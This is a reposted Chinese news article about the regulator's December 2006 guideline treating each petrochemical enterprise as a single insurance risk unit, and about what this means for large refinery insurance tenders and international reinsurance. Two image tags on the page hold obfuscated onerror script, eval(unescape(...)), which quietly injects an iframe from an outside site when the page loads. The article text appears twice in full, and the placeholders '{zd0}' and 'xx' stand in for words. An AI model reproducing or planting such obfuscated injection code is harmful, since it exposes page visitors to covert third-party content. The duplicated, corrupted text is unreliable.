保监会框定危险单位 石化三大单重归分保
[转贴 2010-06-06 00:36:40]
保监会框定危险单位 石化三大单重归分保
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
国内财产保险三巨头争论数日的石化企业危险单位划分模式终尘埃落定。
近日,中国保监会正式发布第三批财产保险危险单位划分方法指引。在<财产保险危险单位划分方法指引第8号:石化企业>中明确石化企业财产险、机损险、建工险以及利损险、机损利损险均不能作危险单位划分,"即一个企业作为一个危险单位"。
这场历时近半年,并在中途经历独山子石化项目尚存承保企业私拆危险单位瑕疵(见本报2006年12月18日13版<独山子石化保单争夺战 保监会三令牌严查"危险单位"="">一文)的立规争议,终于以国际惯例的模版画上句点。
值得注意的是,2007年可能是中国石化行业进行商业保险招标最为密集的一年——中石化福建炼油乙烯项目、中海油惠州大炼油项目和中石油彭州乙烯项目都将在本年度确定保险合作伙伴。
"这份文件的出台将是一个分水岭,原本多方僵持的承保设计原则,可能因此反转。"1月10日,北京保险经纪界一资深人士称,"因独山子项目而被腰斩的国内石化项目保险费率,也会因此而获转机。"
迟来的规则
制定财产保险危险单位划分指引,源自2006年全国保险工作会议的相关要求。
水力发电企业、火力发电企业、航天风险、公路与桥梁等五个财产保险危险单位划分方法指引在2006年5月16日被首次印发,其中并无波折。
而此后石油天然气上游行业的危险单位划分方法的制定,却历经波折。
经过2006年8月9日中国保险行业协会财产保险工作委员会组织的课题论证,相关的保险公司并未在此问题上达成一致。于是,去年9月27日保监会印发的第二批危险单位划分方法指引,只有地铁隧道工程和石油天然气上游企业两项,并无石化企业的影子。
"多方争论的焦点就是在于对'安全间距'的认知。"参与讨论的一位人士告诉记者。
知情人士透露,<石化企业危险单位划分方法指导意见(初稿)>(下称"<指导意见>")由人保财险(中国财险,2328.HK)和太保作为项目牵头单位拟定,并将<石油化工企业设计防火规范(gb50160-1992)>作为参考依据。
针对与独山子项目相关的建工险方面,<指导意见>认为可以按功能分区,将石化厂划分为工艺装置区、贮存设施区、公用及辅助设施区和工厂管理和生活区四个独立的风险单位;而在工艺装置区中,满足安全间距200米且安全措施到位的各分厂可被独立划分危险单位;同一分厂内,相邻安全距离达到200米且安全措施到位的装置,也可进行危险单位的划分。
然而,对于这样以行业防火规范作为危险单位划分尺度的做法,国际再保公司并不认同。一位接近慕尼黑再保险的能源专家表示,按国际惯例,除去位于项目边缘区域的办公楼等少数附属设施,石化项目都只被作为一个危险单位来处理。
多方僵持下,2006年11月21日,保监会财产保险监管部组织再度召开危险单位划分方法课题论证会,石化企业又与港口工程、商业楼宇、半导体制造企业等三个项目进入第三批讨论范畴。
据参与此次论证的人士透露,石化企业的划分模式依然成为焦点所指。而与此同时,就独山子石化项目通过拆分危险单位降低费率的模式也引起了中国保监会的关注。
2006年12月末,中国保监会终于印发了石化企业的危险单位划分指引。其中划分原则部分已然与最初发布的指导意见初稿面目全非。
在最终的指引中,行业防火规范中的"安全间距"概念已不见踪影。取而代之的是石化企业财产险、机损险、建工险与利损险和机损利损险的两个"不再划分"。
而就特殊石化企业的危险单位拆分间距,也被限定在"最小距离1000米以上"。
重归临分?
"监管层最终转向了一种国际原则的制度设计。"前述经纪界人士表示,最直接的"好处",是可以将国内的风险更好的转嫁出去,"毕竟,直保公司遵守再保的游戏规则,是非常必要的"。
该人士介绍,今年是石化企业商业保险招标最密集的一年,中国三个石油公司将各有一个项目展开招投标,分别是中石化福建炼油乙烯项目、中海油惠州大炼油项目和中石油彭州乙烯项目。
其中,中石化福建炼油乙烯项目是三个项目中{zd0}的一个。按公开资料,该项目由中国石化股份公司与福建省合资的福建炼油化工有限公司、埃克森美孚中国公司、沙特阿美海外公司三方合资兴建,涉资超过30亿美元。
知情人士透露,目前该项目的码头、海底管线工程等前期工程的保险项目已招标完毕,预计标的近300亿人民币的主体工程保险招标将在春节前后进行。
"如果xx遵守保监会新近出台的指引,国内保险公司不再可能像吃下独山子一样,将福建炼油乙烯项目的保险全部自留。"前述经纪界人士表示,这个规模与独山子石化项目相仿的项目同样超出了国内保险公司的{zd0}承保能力。
他分析说,在大型项目领域,各公司的承保能力随着项目总金额的不同,但大约可按中国监管当局要求的再保合同金额与上一年度的净资本与公积金之和大约测算出其单一危险单位的自动承保能力。
目前国内{zd0}的财产险公司人保财险,其2006年再保合同的总额约在35亿,规模略小的平安产险和太平洋产险都在22亿左右。而净资本与公积金方面,按人保2006年中报,其"股本及储备"的总额为179.55亿。而平安产险在11月增资后,净资本增至30亿,太平洋产险则在约24亿。
于是,即便{zd0}公司的人保将其自动承保能力用至极限,在福建炼油乙烯项目面前也显得杯水车薪。而若三家采用共保形式,同时将自动承保能力用至极限,按国际再保原则中对进入再保合同的{zd0}保额将打七五折的限定,三家公司的联手上限也仅约85亿左右。
显然,如xx按保监会的指引,福建炼油乙烯项目必然要以引入国际再保临分的方式进行解决。
前述人士指出,但可以预计,"有了国际再保的介入,福建炼油乙烯项目的费率将被提升到0.4%以上的水平(独山子项目是0.26%)。"
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_468_60.html%20width%3D468%20height%3D60%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
国内财产保险三巨头争论数日的石化企业危险单位划分模式终尘埃落定。
近日,中国保监会正式发布第三批财产保险危险单位划分方法指引。在<财产保险危险单位划分方法指引第8号:石化企业>中明确石化企业财产险、机损险、建工险以及利损险、机损利损险均不能作危险单位划分,"即一个企业作为一个危险单位"。
这场历时近半年,并在中途经历独山子石化项目尚存承保企业私拆危险单位瑕疵(见本报2006年12月18日13版<独山子石化保单争夺战 保监会三令牌严查"危险单位"="">一文)的立规争议,终于以国际惯例的模版画上句点。
值得注意的是,2007年可能是中国石化行业进行商业保险招标最为密集的一年——中石化福建炼油乙烯项目、中海油惠州大炼油项目和中石油彭州乙烯项目都将在本年度确定保险合作伙伴。
"这份文件的出台将是一个分水岭,原本多方僵持的承保设计原则,可能因此反转。"1月10日,北京保险经纪界一资深人士称,"因独山子项目而被腰斩的国内石化项目保险费率,也会因此而获转机。"
迟来的规则
制定财产保险危险单位划分指引,源自2006年全国保险工作会议的相关要求。
水力发电企业、火力发电企业、航天风险、公路与桥梁等五个财产保险危险单位划分方法指引在2006年5月16日被首次印发,其中并无波折。
而此后石油天然气上游行业的危险单位划分方法的制定,却历经波折。
经过2006年8月9日中国保险行业协会财产保险工作委员会组织的课题论证,相关的保险公司并未在此问题上达成一致。于是,去年9月27日保监会印发的第二批危险单位划分方法指引,只有地铁隧道工程和石油天然气上游企业两项,并无石化企业的影子。
"多方争论的焦点就是在于对'安全间距'的认知。"参与讨论的一位人士告诉记者。
知情人士透露,<石化企业危险单位划分方法指导意见(初稿)>(下称"<指导意见>")由人保财险(中国财险,2328.HK)和太保作为项目牵头单位拟定,并将<石油化工企业设计防火规范(gb50160-1992)>作为参考依据。
针对与独山子项目相关的建工险方面,<指导意见>认为可以按功能分区,将石化厂划分为工艺装置区、贮存设施区、公用及辅助设施区和工厂管理和生活区四个独立的风险单位;而在工艺装置区中,满足安全间距200米且安全措施到位的各分厂可被独立划分危险单位;同一分厂内,相邻安全距离达到200米且安全措施到位的装置,也可进行危险单位的划分。
然而,对于这样以行业防火规范作为危险单位划分尺度的做法,国际再保公司并不认同。一位接近慕尼黑再保险的能源专家表示,按国际惯例,除去位于项目边缘区域的办公楼等少数附属设施,石化项目都只被作为一个危险单位来处理。
多方僵持下,2006年11月21日,保监会财产保险监管部组织再度召开危险单位划分方法课题论证会,石化企业又与港口工程、商业楼宇、半导体制造企业等三个项目进入第三批讨论范畴。
据参与此次论证的人士透露,石化企业的划分模式依然成为焦点所指。而与此同时,就独山子石化项目通过拆分危险单位降低费率的模式也引起了中国保监会的关注。
2006年12月末,中国保监会终于印发了石化企业的危险单位划分指引。其中划分原则部分已然与最初发布的指导意见初稿面目全非。
在最终的指引中,行业防火规范中的"安全间距"概念已不见踪影。取而代之的是石化企业财产险、机损险、建工险与利损险和机损利损险的两个"不再划分"。
而就特殊石化企业的危险单位拆分间距,也被限定在"最小距离1000米以上"。
重归临分?
"监管层最终转向了一种国际原则的制度设计。"前述经纪界人士表示,最直接的"好处",是可以将国内的风险更好的转嫁出去,"毕竟,直保公司遵守再保的游戏规则,是非常必要的"。
该人士介绍,今年是石化企业商业保险招标最密集的一年,中国三个石油公司将各有一个项目展开招投标,分别是中石化福建炼油乙烯项目、中海油惠州大炼油项目和中石油彭州乙烯项目。
其中,中石化福建炼油乙烯项目是三个项目中{zd0}的一个。按公开资料,该项目由中国石化股份公司与福建省合资的福建炼油化工有限公司、埃克森美孚中国公司、沙特阿美海外公司三方合资兴建,涉资超过30亿美元。
知情人士透露,目前该项目的码头、海底管线工程等前期工程的保险项目已招标完毕,预计标的近300亿人民币的主体工程保险招标将在春节前后进行。
"如果xx遵守保监会新近出台的指引,国内保险公司不再可能像吃下独山子一样,将福建炼油乙烯项目的保险全部自留。"前述经纪界人士表示,这个规模与独山子石化项目相仿的项目同样超出了国内保险公司的{zd0}承保能力。
他分析说,在大型项目领域,各公司的承保能力随着项目总金额的不同,但大约可按中国监管当局要求的再保合同金额与上一年度的净资本与公积金之和大约测算出其单一危险单位的自动承保能力。
目前国内{zd0}的财产险公司人保财险,其2006年再保合同的总额约在35亿,规模略小的平安产险和太平洋产险都在22亿左右。而净资本与公积金方面,按人保2006年中报,其"股本及储备"的总额为179.55亿。而平安产险在11月增资后,净资本增至30亿,太平洋产险则在约24亿。
于是,即便{zd0}公司的人保将其自动承保能力用至极限,在福建炼油乙烯项目面前也显得杯水车薪。而若三家采用共保形式,同时将自动承保能力用至极限,按国际再保原则中对进入再保合同的{zd0}保额将打七五折的限定,三家公司的联手上限也仅约85亿左右。
显然,如xx按保监会的指引,福建炼油乙烯项目必然要以引入国际再保临分的方式进行解决。
前述人士指出,但可以预计,"有了国际再保的介入,福建炼油乙烯项目的费率将被提升到0.4%以上的水平(独山子项目是0.26%)。"
郑重声明：资讯 【保监会框定危险单位石化三大单重归分保- 网上银行- incubations - 和讯博客】由 发布，版权归原作者及其所在单位，其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实，请读者仅作参考，并请自行核实相关内容。若本文有侵犯到您的版权， 请你提供相关证明及申请并与我们联系（qiyeku # qq.com）或【在线投诉】，我们审核后将会尽快处理。
—— 相关资讯 ——
